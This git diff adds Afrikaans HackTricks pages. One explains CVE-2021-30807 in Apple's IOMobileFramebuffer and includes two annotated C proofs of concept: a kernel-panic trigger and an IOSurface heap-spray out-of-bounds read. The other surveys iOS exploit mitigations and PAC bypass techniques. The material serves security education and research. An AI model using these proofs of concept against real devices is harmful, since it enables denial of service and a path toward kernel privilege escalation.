+> Die aanvanklike function om `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` aan te roep, word deur die entitlement **`com.apple.private.allow-explicit-graphics-priority`** beskerm. **WebKit.WebContent** het egter hierdie entitlement, sodat dit gebruik kan word om die vuln vanuit ’n sandboxed process te trigger.[[1]](#references)
+
+## DoS PoC
+
+Die volgende is die aanvanklike denial-of-service PoC uit die oorspronklike blog post, met ekstra comments:[[1]](#references)
+```c
+// PoC for CVE-2021-30807 trigger (annotated)
+// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
+// Build/run only on devices you own and that are vulnerable.
+// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
+// https://support.apple.com/en-us/103144
+// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
+
+void trigger_clcd_vuln(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+
+// The "type" argument is the type (selector) of user client to open.
+// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
+// external methods we need (incl. selector 83). If this doesn't work on your
+// build, try different types or query IORegistry to enumerate.
+int type = 2;
+
+// 1) Locate the IOMobileFramebuffer service in the IORegistry.
+// This returns the first matched service object (a kernel object handle).
+io_service_t service = IOServiceGetMatchingService(
+kIOMasterPortDefault,
+IOServiceMatching("IOMobileFramebuffer"));
+
+if (service == MACH_PORT_NULL) {
+printf("failed to open service\n");
+return;
+}
+
+printf("service: 0x%x\n", service);
+
+// 2) Open a connection (user client) to the service.
+// The user client is what exposes external methods to userland.
+// 'type' selects which user client class/variant to instantiate.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if (ret != KERN_SUCCESS) {
+printf("failed to open userclient: %s\n", mach_error_string(ret));
+return;
+}
+
+printf("client: 0x%x\n", shared_user_client_conn);
+
+printf("call externalMethod\n");
+
+// 3) Prepare input scalars for the external method call.
+// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
+// array of pointers WITHOUT bounds checking (OOB read / type confusion).
+// We set it to a large value to force the out-of-bounds access.
+uint64_t scalars[4] = { 0x0 };
+scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
+
+// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
+uint64_t output_scalars[4] = { 0 };
+uint32_t output_scalars_size = 1;
+
+printf("call s_default_fb_surface\n");
+
+// 5) Invoke external method #83.
+// On vulnerable builds, this path ends up calling:
+// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
+// → IOMobileFramebufferLegacy::get_displayed_surface(...)
+// which uses our index to read a pointer and then passes it as IOSurface*.
+// If the pointer is bogus, IOSurface code will dereference it and the kernel
+// will panic (DoS).
+ret = IOConnectCallMethod(
+shared_user_client_conn,
+83, // **Selector 83**: vulnerable external method
+scalars, 1, // input scalars (count = 1; the OOB index)
+NULL, 0, // no input struct
+output_scalars, &output_scalars_size, // optional outputs
+NULL, NULL); // no output struct
+
+// 6) Check the call result. On many vulnerable targets, you'll see either
+// KERN_SUCCESS right before a panic (because the deref happens deeper),
+// or an error if the call path rejects the request (e.g., entitlement/type).
+if (ret != KERN_SUCCESS) {
+printf("failed to call external method: 0x%x --> %s\n",
+ret, mach_error_string(ret));
+return;
+}
+
+printf("external method returned KERN_SUCCESS\n");
+
+// 7) Clean up the user client connection handle.
+IOServiceClose(shared_user_client_conn);
+printf("success!\n");
+}
+```
+## Arbitrary Read PoC Verduidelik
+
+1. **Opening van die regte user client**
+
+- `get_appleclcd_uc()` vind die **AppleCLCD**-diens en maak **user client type 2** oop. AppleCLCD en IOMobileFramebuffer deel dieselfde external-methods-tabel; type 2 stel **selector 83**, die kwesbare metode, bloot. **Dit is jou toegangspunt tot die bug.** E_POC/)
+
+**Waarom 83 belangrik is:** die gedecompileerde pad is:
+
+- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
+→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
+→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
+Binne daardie laaste oproep **gebruik die kode jou 32-bis scalar as ’n array-indeks sonder enige bounds check**, haal ’n pointer uit **`this + 0xA58 + index*8`**, en **gee dit as ’n `IOSurface*`** aan `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Dit is die OOB + type confusion.**[[1]](#references)
+
+2. **Die heap spray (waarom IOSurface hier verskyn)**
+
+- `do_spray()` gebruik **`IOSurfaceRootUserClient`** om **baie IOSurfaces te skep** en **klein waardes te spray** (`s_set_value`-styl). Dit vul nabygeleë kernel-heaps met **pointers na geldige IOSurface-objekte**.
+
+- **Doel:** wanneer selector 83 verby die geldige tabel lees, **bevat die OOB-slot waarskynlik ’n pointer na een van jou (werklike) IOSurfaces**---sodat die latere dereference **nie crash nie** en **slaag**. IOSurface is ’n klassieke, goed gedokumenteerde kernel spray primitive, en Saar se post lys uitdruklik die **create / set_value / lookup**-metodes wat vir hierdie exploitation flow gebruik word.[[1]](#references)
+
+3. **Die "offset/8"-truuk (wat daardie indeks werklik is)**
+
+- In `trigger_oob(offset)` stel jy `scalars[0] = offset / 8`.
+
+- **Waarom deur 8 deel?** Die kernel doen **`base + index*8`** om te bereken watter **pointer-sized slot** gelees moet word. Jy kies **"slot number N"**, nie ’n byte offset nie. **Agt grepe per slot** op 64-bit.[[1]](#references)
+
+- Daardie berekende adres is **`this + 0xA58 + index*8`**. Die PoC gebruik ’n groot konstante (`0x1200000 + 0x1048`) bloot om **ver buite bounds** te stap na ’n gebied wat jy probeer het om **dig te vul met IOSurface-pointers**. **As die spray "wen," is die slot wat jy tref ’n geldige `IOSurface*`.**[[1]](#references)
+
+4. **Wat selector 83 teruggee (dit is die subtiele deel)**
+
+- Die oproep is:
+
+`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
+output_scalars, &output_scalars_size, NULL, NULL);`
+
+- Intern, ná die OOB-pointer-fetch, roep die driver\
+**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`** aan.
+
+- **Resultaat:** **`output_scalars[0]` is ’n Mach-portnaam (u32-handle) in jou task** vir *watter objek-pointer jy ook al via OOB verskaf het*. **Dit is nie ’n raw kernel address leak nie; dit is ’n userspace-handle (send right).** Hierdie presiese gedrag (die kopiëring van ’n *port name*) word in Saar se decompilation getoon.[[1]](#references)
+
+**Waarom dit nuttig is:** met ’n **port name** na die (veronderstelde) IOSurface kan jy nou **IOSurfaceRoot-metodes** soos die volgende gebruik:
+
+- **`s_lookup_surface_from_port` (method 34)** → verander die port na ’n **surface ID** waarmee jy deur ander IOSurface-oproepe kan werk, en
+
+- **`s_create_port_from_surface` (method 35)** as jy die inverse benodig.\
+Saar wys spesifiek hierdie metodes uit as die volgende stap. **Die PoC bewys dat jy ’n wettige IOSurface-handle uit ’n OOB-slot kan "manufacture".** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)[[1]](#references)
+
+Die volgende PoC kom uit Saar Amar se repository, met bykomende kommentaar wat die stappe daarvan verduidelik:[[2]](#references) [[5]](#references)
+```c
+#include "exploit.h"
+
+// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
+io_connect_t get_appleclcd_uc(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
+// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
+
+// Find the **AppleCLCD** service in the IORegistry.
+io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
+IOServiceMatching("AppleCLCD"));
+if(service == MACH_PORT_NULL) {
+printf("[-] failed to open service\n");
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD service: 0x%x\n", service);
+
+// Open a user client connection to AppleCLCD with the chosen **type**.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if(ret != KERN_SUCCESS) {
+printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
+return shared_user_client_conn;
+}
+
+// Trigger the OOB index path of external method #83.
+// The 'offset' you pass is in bytes; dividing by 8 converts it to the
+// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
+uint64_t trigger_oob(uint64_t offset) {
+kern_return_t ret;
+
+// The method takes a single 32-bit scalar that it uses as an index.
+uint64_t scalars[1] = { 0x0 };
+scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
+
+// #83 returns one scalar. In this flow it will be the Mach port name
+// (a u32 handle in our task), not a kernel pointer.
+uint64_t output_scalars[1] = { 0 };
+uint32_t output_scalars_size = 1;
+
+io_connect_t appleclcd_uc = get_appleclcd_uc();
+if (appleclcd_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+// Call external method 83. Internally:
+// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
+// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
+// which creates a send right for that object and writes its port name
+// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
+ret = IOConnectCallMethod(appleclcd_uc, 83,
+scalars, 1,
+NULL, 0,
+output_scalars, &output_scalars_size,
+NULL, NULL);
+
+if (ret != KERN_SUCCESS) {
+printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
+return 0;
+}
+
+// This is the key: you get back a Mach port name (u32) to whatever
+// object was at that OOB slot (ideally an IOSurface you sprayed).
+printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
+return output_scalars[0];
+}
+
+// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
+// real IOSurface (easier & stabler than a fully fake object).
+bool do_spray(void) {
+char data[0x10];
+memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
+
+// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+printf("[-] do_spray: failed to allocate new iosurface_uc\n");
+return false;
+}
+
+// Create many IOSurfaces and use set_value / value spray helpers
+// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
+int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
+for (size_t i = 0; i < SURFACES_COUNT; ++i) {
+surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
+if (surface_ids[i] <= 0) {
+return false;
+}
+
+// Spray small values repeatedly: tends to allocate/fill predictable
+// kalloc regions near where the IOMFB table OOB will read from.
+// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
+if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
+20, 200, // rounds, per-round items
+data, sizeof(data),
+NULL) == false) {
+printf("iosurface spray failed\n");
+return false;
+}
+}
+return true;
+}
+
+int main(void) {
+// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+printf("[*] do spray\n");
+if (do_spray() == false) {
+printf("[-] shape failed, abort\n");
+return 1;
+}
+printf("[*] spray success\n");
+
+// Trigger the OOB read. The magic constant chooses a pointer-slot
+// far beyond the legit array (offset is in bytes; index = offset/8).
+// If the spray worked, this returns a **Mach port name** (handle) to one
+// of your sprayed IOSurfaces; otherwise it may crash.
+printf("[*] trigger\n");
+trigger_oob(0x1200000 + 0x1048);
+return 0;
+}
+```
+## References
+
+- [1] [Oorspronklike writeup deur Saar Amar - IOMobileFrameBuffer LPE PoC](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
+- [2] [Exploit PoC-kode](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
+- [3] [Oor die security-inhoud van macOS Big Sur 11.5.1 (Apple security advisory)](https://support.apple.com/en-us/103144)
+- [4] [Navorsing deur jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html)
+- [5] [saaramar/IOMobileFrameBuffer_LPE_POC - PoC is hieruit geneem](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md
new file mode 100644
index 00000000000..ee82abe1a6f
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/README.md
@@ -0,0 +1,1206 @@
+# iOS Exploiting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## iOS Exploit Mitigations [[11]](#references)
+
+### 1. **Code Signing** / Runtime Signature Verification
+**Vroeg bekendgestel (iPhone OS → iOS)**
+Dit is een van die fundamentele beskermingsmaatreëls: **alle uitvoerbare kode** (apps, dynamic libraries, JIT-ed code, extensions, frameworks, caches) moet kriptografies onderteken wees deur ’n sertifikaatketting waarvan die wortel in Apple se trust lê. Tydens runtime, voordat ’n binary in die geheue gelaai word (of voordat spronge oor sekere grense uitgevoer word), kontroleer die stelsel sy handtekening. Indien die kode gewysig is (bits omgedraai, gepatch) of ongeteken is, misluk die laai.
+
+- **Thwarts**: die “classic payload drop + execute”-fase in exploit-kettings; arbitrary code injection; die wysiging van ’n bestaande binary om malicious logic in te voeg.
+- **Mechanism detail**:
+* Die Mach-O loader (en dynamic linker) kontroleer code pages, segments, entitlements, team IDs, en dat die handtekening die lêer se inhoud dek.
+* Vir geheuegebiede soos JIT caches of dinamies gegenereerde kode dwing Apple af dat pages onderteken of deur spesiale APIs gevalideer word (bv. `mprotect` met code-sign checks).
+* Die handtekening sluit entitlements en identifiers in; die OS dwing af dat sekere APIs of privileged capabilities spesifieke entitlements vereis wat nie vervals kan word nie.
+
+
+Example
+Veronderstel ’n exploit verkry code execution in ’n proses en probeer shellcode in ’n heap te skryf en daarnaar te spring. Op iOS moet daardie page as executable gemerk wees **en** aan code-signature constraints voldoen. Omdat die shellcode nie met Apple se sertifikaat onderteken is nie, misluk die sprong of weier die stelsel om daardie memory region executable te maak.
+
+
+
+### 2. **CoreTrust**
+**Rondom die iOS 14+-era bekendgestel (of geleidelik op nuwer toestelle / latere iOS-weergawes)**
+CoreTrust is die subsystem wat **runtime signature validation** van binaries (insluitend system- en user binaries) uitvoer teenoor **Apple se root certificate**, eerder as om op gecachede userland trust stores staat te maak.
+
+- **Thwarts**: post-install tampering van binaries, jailbreaking techniques wat probeer om system libraries of user apps te vervang of te patch; om die stelsel te mislei deur trusted binaries met malicious counterparts te vervang.
+- **Mechanism detail**:
+* In plaas daarvan om ’n local trust database of certificate cache te vertrou, haal CoreTrust Apple se root direk op of verwys daarna, of dit verifieer intermediate certificates in ’n secure chain.
+* Dit verseker dat wysigings (bv. in die filesystem) aan bestaande binaries opgespoor en verwerp word.
+* Dit koppel entitlements, team IDs, code signing flags en ander metadata aan die binary tydens laai.
+
+
+Example
+’n Jailbreak kan probeer om `SpringBoard` of `libsystem` met ’n patched weergawe te vervang om persistence te verkry. Wanneer die OS se loader of CoreTrust egter kontroleer, merk dit die signature mismatch (of modified entitlements) op en weier om dit uit te voer.
+
+
+
+### 3. **Data Execution Prevention (DEP / NX / W^X)**
+**Vroeër in baie OS’e bekendgestel; iOS het lankal NX-bit / w^x gehad**
+DEP dwing af dat pages wat as writable (vir data) gemerk is, **non-executable** is, en dat pages wat executable gemerk is, **non-writable** is. Jy kan nie eenvoudig shellcode in ’n heap- of stack-region skryf en dit uitvoer nie.
+
+- **Thwarts**: direkte shellcode execution; classic buffer-overflow → jump to injected shellcode.
+- **Mechanism detail**:
+* Die MMU / memory protection flags (via page tables) dwing die skeiding af.
+* Enige poging om ’n writable page executable te maak, aktiveer ’n system check (en word óf verbied óf vereis code-sign approval).
+* In baie gevalle moet die executable maak van pages deur OS APIs geskied wat additional constraints of checks afdwing.
+
+
+Example
+’n Overflow skryf shellcode op die heap. Die aanvaller probeer `mprotect(heap_addr, size, PROT_EXEC)` uitvoer om dit executable te maak. Die stelsel weier egter, of valideer dat die nuwe page aan code-sign constraints moet voldoen (waaraan die shellcode nie kan voldoen nie).
+
+
+### 4. **Address Space Layout Randomization (ASLR)**
+**In die iOS ~4–5-era bekendgestel (ongeveer die iOS 4–5-tydperk)**
+ASLR randomize die base addresses van belangrike memory regions: libraries, heap, stack, ens., by elke process launch. Die addresses van gadgets verskuif tussen runs.
+
+- **Thwarts**: hardcoding van gadget addresses vir ROP/JOP; static exploit chains; blind jumping na bekende offsets.
+- **Mechanism detail**:
+* Elke loaded library / dynamic module word teen ’n randomized offset gerebase.
+* Stack- en heap-base pointers word randomized (binne sekere entropy-limiete).
+* Soms word ander regions (bv. mmap allocations) ook randomized.
+* In kombinasie met information-leak mitigations dwing dit die aanvaller om eers ’n address of pointer te leak om base addresses tydens runtime te ontdek.
+
+
+Example
+’n ROP chain verwag ’n gadget by `0x….lib + offset`. Omdat `lib` elke keer anders relocated word, misluk die hardcoded chain. ’n Exploit moet eers die base address van die module leak voordat gadget addresses bereken kan word.
+
+
+
+### 5. **Kernel Address Space Layout Randomization (KASLR)**
+**In die iOS ~-tydperk bekendgestel (iOS 5 / iOS 6-tydperk)**
+Soos user ASLR randomize KASLR die base van die **kernel text** en ander kernel structures tydens boot.
+
+- **Thwarts**: kernel-level exploits wat op ’n vaste ligging van kernel code of data staatmaak; static kernel exploits.
+- **Mechanism detail**:
+* By elke boot word die kernel se base address randomized (binne ’n reeks).
+* Kernel data structures (soos `task_structs`, `vm_map`, ens.) kan ook relocated of offset word.
+* Aanvallers moet eers kernel pointers leak of information disclosure vulnerabilities gebruik om offsets te bereken voordat hulle kernel structures of code oorneem.
+
+
+Example
+’n Local vulnerability poog om ’n kernel function pointer (bv. in `vtable`) by `KERN_BASE + offset` te korrupteer. Omdat `KERN_BASE` onbekend is, moet die aanvaller dit eers leak (bv. via ’n read primitive) voordat die korrekte address vir corruption bereken kan word.
+
+
+
+### 6. **Kernel Patch Protection (KPP / AMCC)**
+**In nuwer iOS-weergawes / A-series hardware bekendgestel (ná ongeveer die iOS 15–16-era of op nuwer chips)**
+KPP (ook bekend as AMCC) monitor voortdurend die integriteit van kernel text pages (via hash of checksum). Indien dit tampering (patches, inline hooks, code modifications) buite toegelate windows opspoor, veroorsaak dit ’n kernel panic of reboot.
+
+- **Thwarts**: persistent kernel patching (wysiging van kernel instructions), inline hooks, static function overwrites.
+- **Mechanism detail**:
+* ’n Hardware- of firmware-module monitor die kernel text region.
+* Dit her-hash die pages periodiek of on demand en vergelyk dit met verwagte waardes.
+* Indien mismatches buite benign update windows voorkom, veroorsaak dit ’n panic op die toestel (om ’n persistent malicious patch te voorkom).
+* Aanvallers moet óf detection windows vermy óf legitimate patch paths gebruik.
+
+
+Example
+’n Exploit probeer ’n kernel function prologue (bv. `memcmp`) te patch om calls te intercept. KPP merk egter op dat die code page se hash nie meer met die verwagte waarde ooreenstem nie en veroorsaak ’n kernel panic, wat die toestel laat crash voordat die patch kan stabiliseer.
+
+
+
+### 7. **Kernel Text Read‐Only Region (KTRR)**
+**In moderne SoCs bekendgestel (ná ongeveer A12 / nuwer hardware)**
+KTRR is ’n hardware-enforced-meganisme: sodra die kernel text vroeg tydens boot gelock word, word dit read-only vanaf EL1 (die kernel), wat verdere writes na code pages voorkom.
+
+- **Thwarts**: enige wysiging aan kernel code ná boot (bv. patching, in-place code injection) op EL1 privilege level.
+- **Mechanism detail**:
+* Tydens boot (in die secure/bootloader stage) merk die memory controller (of ’n secure hardware unit) die physical pages wat kernel text bevat as read-only.
+* Selfs indien ’n exploit volledige kernel privileges verkry, kan dit nie na daardie pages skryf om instructions te patch nie.
+* Om dit te wysig, moet die aanvaller eers die boot chain kompromitteer of KTRR self subvert.
+
+
+Example
+’n Privilege-escalation exploit spring na EL1 en skryf ’n trampoline in ’n kernel function (bv. in die `syscall` handler). Omdat die pages deur KTRR as read-only gelock is, misluk die write (of dit veroorsaak ’n fault), en die patches word dus nie toegepas nie.
+
+
+
+### 8. **Pointer Authentication Codes (PAC)**
+**Met ARMv8.3 (hardware) bekendgestel, met Apple wat vanaf A12 / iOS ~12+ begin gebruik het**
+- PAC is ’n hardware feature wat in **ARMv8.3-A** bekendgestel is om tampering met pointer values (return addresses, function pointers, sekere data pointers) op te spoor deur ’n klein cryptographic signature (’n “MAC”) in ongebruikte hoë bits van die pointer in te bed.
+- Die signature (“PAC”) word bereken oor die pointer value plus ’n **modifier** (’n context value, bv. stack pointer of ander onderskeidende data). Op dié manier kry dieselfde pointer value in verskillende contexts ’n verskillende PAC.
+- Tydens gebruik, voordat via daardie pointer gedereference of branched word, kontroleer ’n **authenticate** instruction die PAC. Indien dit geldig is, word die PAC verwyder en die pure pointer verkry; indien dit ongeldig is, word die pointer “poisoned” (of ’n fault word veroorsaak).
+- Die keys wat vir die vervaardiging/validasie van PACs gebruik word, is in privileged registers (EL1, kernel) en is nie direk vanaf user mode leesbaar nie.
+- Omdat nie al 64 bits van ’n pointer in baie systems gebruik word nie (bv. ’n 48-bit address space), is die boonste bits “spare” en kan hulle die PAC bevat sonder om die effective address te verander.
+
+#### Architectural Basis & Key Types
+
+- ARMv8.3 stel **vyf 128-bit keys** bekend (elk geïmplementeer via twee 64-bit system registers) vir pointer authentication.
+- **APIAKey** — vir instruction pointers (domain “I”, key A)
+- **APIBKey** — tweede instruction pointer key (domain “I”, key B)
+- **APDAKey** — vir data pointers (domain “D”, key A)
+- **APDBKey** — vir data pointers (domain “D”, key B)
+- **APGAKey** — “generic” key, vir die signing van non-pointer data of ander generic uses
+
+- Hierdie keys word in privileged system registers gestoor (slegs toeganklik by EL1/EL2 ens.) en is nie vanaf user mode toeganklik nie.
+- Die PAC word deur ’n cryptographic function bereken (ARM stel QARMA as die algorithm voor) met gebruik van:
+1. Die pointer value (canonical portion)
+2. ’n **modifier** (’n context value, soos ’n salt)
+3. Die secret key
+4. Sekere interne tweak logic
+Indien die resulterende PAC ooreenstem met wat in die boonste bits van die pointer gestoor is, slaag authentication.
+
+
+#### Instruction Families
+
+Die naming convention is: **PAC** / **AUT** / **XPAC**, gevolg deur domain letters.
+- `PACxx` instructions **sign** ’n pointer en voeg ’n PAC in
+- `AUTxx` instructions **authenticate + strip** (valideer en verwyder die PAC)
+- `XPACxx` instructions **strip** sonder validasie
+
+Domains / suffixes:
+
+| Mnemonic | Meaning / Domain | Key / Domain | Example Usage in Assembly |
+|--------------|-----------------------------------------|--------------------|-----------------------------|
+| **PACIA** | Sign instruction pointer with APIAKey | “I, A” | `PACIA X0, X1` — sign pointer in X0 using APIAKey with modifier X1|
+| **PACIB** | Sign instruction pointer with APIBKey | “I, B” | `PACIB X2, X3` |
+| **PACDA** | Sign data pointer with APDAKey | “D, A” | `PACDA X4, X5` |
+| **PACDB** | Sign data pointer with APDBKey | “D, B” | `PACDB X6, X7` |
+| **PACG / PACGA** | Generic (non-pointer) signing with APGAKey | “G” | `PACGA X8, X9, X10` (sign X9 with modifier X10 into X8) |
+| **AUTIA** | Authenticate APIA-signed instruction pointer & strip PAC | “I, A” | `AUTIA X0, X1` — check PAC on X0 using modifier X1, then strip |
+| **AUTIB** | Authenticate APIB domain | “I, B” | `AUTIB X2, X3` |
+| **AUTDA** | Authenticate APDA-signed data pointer | “D, A” | `AUTDA X4, X5` |
+| **AUTDB** | Authenticate APDB-signed data pointer | “D, B” | `AUTDB X6, X7` |
+| **AUTGA** | Authenticate generic / blob (APGA) | “G” | `AUTGA X8, X9, X10` (validate generic) |
+| **XPACI** | Strip PAC (instruction pointer, no validation) | “I” | `XPACI X0` — remove PAC from X0 (instruction domain) |
+| **XPACD** | Strip PAC (data pointer, no validation) | “D” | `XPACD X4` — remove PAC from data pointer in X4 |
+
+Daar is specialized / alias forms:
+
+- `PACIASP` is shorthand for `PACIA X30, SP` (sign the link register using SP as modifier)
+- `AUTIASP` is `AUTIA X30, SP` (authenticate link register with SP)
+- Combined forms soos `RETAA`, `RETAB` (authenticate-and-return) of `BLRAA` (authenticate & branch) bestaan in ARM extensions / compiler support.
+- Daar is ook zero-modifier variants: `PACIZA` / `PACIZB`, waar die modifier implisiet zero is, ens.
+
+#### Modifiers
+
+Die hoofdoel van die modifier is om die **PAC aan ’n spesifieke context te bind**, sodat dieselfde address wat in verskillende contexts onderteken word, verskillende PACs lewer. Dit voorkom eenvoudige pointer reuse oor frames of objects. Dit is soos om ’n **salt by ’n hash te voeg.**
+
+Daarom:
+- Die **modifier** is ’n context value (’n ander register) wat in die PAC-berekening gemeng word. Tipiese keuses is die stack pointer (`SP`), ’n frame pointer of ’n object ID.
+- Die gebruik van SP as modifier is algemeen vir return address signing: die PAC word aan die spesifieke stack frame gekoppel. Indien jy die LR in ’n ander frame probeer hergebruik, verander die modifier en misluk PAC validation.
+- Dieselfde pointer value wat onder verskillende modifiers onderteken word, lewer verskillende PACs.
+- Die modifier **hoef nie secret te wees nie**, maar ideaal gesproke moet dit nie deur die aanvaller beheer word nie.
+- Vir instructions wat pointers sign of verify waar geen betekenisvolle modifier bestaan nie, gebruik sommige forms zero of ’n implicit constant.
+
+#### Apple / iOS / XNU Customizations & Observations
+
+- Apple se PAC-implementering sluit **per-boot diversifiers** in sodat keys of tweaks by elke boot verander, wat hergebruik oor boots voorkom.
+- Dit sluit ook **cross-domain mitigations** in sodat PACs wat in user mode onderteken is, nie maklik in kernel mode hergebruik kan word nie, ens.
+- Reverse engineering op Apple M1 / Apple Silicon het getoon dat daar **nege modifier types** en Apple-specific system registers vir key control is.
+- Apple gebruik PAC oor baie kernel subsystems: return address signing, pointer integrity in kernel data, signed thread contexts, ens.
+- Google Project Zero het getoon hoe iemand met ’n powerful memory read/write primitive in die kernel kernel PACs (vir A keys) op A12-era-toestelle kon forge, maar Apple het baie van daardie paths gepatch. [[1]](#references)
+- In Apple se system is sommige keys **global oor die kernel**, terwyl user processes moontlik per-process key randomness kry.
+
+#### PAC Bypasses
+
+1. **Kernel-mode PAC: theoretical vs real bypasses**
+
+- Omdat kernel PAC keys en logic streng beheer word (privileged registers, diversifiers, domain isolation), is dit baie moeilik om arbitrary signed kernel pointers te forge.
+- Azad se 2020 "iOS Kernel PAC, One Year Later" reports dat hy in iOS 12-13 ’n paar partial bypasses gevind het (signing gadgets, reuse of signed states, unprotected indirect branches), maar geen volledige generic bypass nie. [bazad.github.io](https://bazad.github.io/presentations/BlackHat-USA-2020-iOS_Kernel_PAC_One_Year_Later.pdf) [[2]](#references)
+- Apple se "Dark Magic"-customizations beperk exploitable surfaces verder (domain switching, per-key enabling bits). [i.blackhat.com](https://i.blackhat.com/BH-US-23/Presentations/US-23-Zec-Apple-PAC-Four-Years-Later.pdf) [[3]](#references)
+- Daar is ’n bekende **kernel PAC bypass CVE-2023-32424** op Apple silicon (M1/M2), gerapporteer deur Zecao Cai et al. [i.blackhat.com](https://i.blackhat.com/BH-US-23/Presentations/US-23-Zec-Apple-PAC-Four-Years-Later.pdf) [[3]](#references)
+- Hierdie bypasses steun egter dikwels op baie spesifieke gadgets of implementation bugs; dit is nie general-purpose bypasses nie.
+
+Kernel PAC word dus as **highly robust** beskou, hoewel dit nie perfek is nie.
+
+2. **User-mode / runtime PAC bypass techniques**
+
+Hierdie kom meer algemeen voor en buit onvolmaakthede uit in hoe PAC toegepas of gebruik word in dynamic linking / runtime frameworks. Hieronder volg klasse, met examples.
+
+2.1 **Shared Cache / A key issues**
+
+- Die **dyld shared cache** is ’n groot pre-linked blob van system frameworks en libraries. Omdat dit so wyd gedeel word, is function pointers binne die shared cache “pre-signed” en word dit daarna deur baie processes gebruik. Aanvallers teiken hierdie reeds ondertekende pointers as “PAC oracles”.
+
+- Sommige bypass techniques probeer om A-key signed pointers wat in die shared cache voorkom, te onttrek of hergebruik en dit in gadgets te gebruik.
+
+- Die "No Clicks Required"-talk beskryf hoe om ’n oracle oor die shared cache te bou om relative addresses af te lei en dit met signed pointers te kombineer om PAC te omseil. [saelo.github.io](https://saelo.github.io/presentations/offensivecon_20_no_clicks.pdf) [[4]](#references)
+
+- Daar is ook gevind dat imports van function pointers uit shared libraries in user space onvoldoende deur PAC beskerm is, wat ’n aanvaller toelaat om function pointers te verkry sonder om hul signature te verander. Sien die [Project Zero bug entry](https://bugs.chromium.org/p/project-zero/issues/detail?id=2044).[[5]](#references)
+
+2.2 **dlsym(3) / dynamic symbol resolution**
+
+- Een bekende bypass is om `dlsym()` te roep om ’n *already signed* function pointer te verkry (onderteken met A-key, diversifier zero) en dit dan te gebruik. Omdat `dlsym` ’n legitimately signed pointer terugstuur, omseil die gebruik daarvan die behoefte om PAC te forge.
+
+- Epsilon se blog verduidelik hoe sommige bypasses dit uitbuit: die oproep van `dlsym("someSym")` lewer ’n signed pointer wat vir indirect calls gebruik kan word. [blog.epsilon-sec.com](https://blog.epsilon-sec.com/tag/pac.html) [[6]](#references)
+
+- Synacktiv se "iOS 18.4 --- dlsym considered harmful" beskryf ’n bug: sommige symbols wat via `dlsym` op iOS 18.4 resolved word, lewer pointers wat verkeerd onderteken is (of buggy diversifiers het), wat ’n unintended PAC bypass moontlik maak. [Synacktiv](https://www.synacktiv.com/en/publications/ios-184-dlsym-considered-harmful) [[7]](#references)
+
+- Die logic in dyld vir dlsym sluit die volgende in: wanneer `result->isCode`, onderteken dit die returned pointer met `__builtin_ptrauth_sign_unauthenticated(..., key_asia, 0)`, d.w.s. context zero. [blog.epsilon-sec.com](https://blog.epsilon-sec.com/tag/pac.html) [[6]](#references)
+
+`dlsym` is dus ’n gereelde vector in user-mode PAC bypasses.
+
+2.3 **Other DYLD / runtime relocations**
+
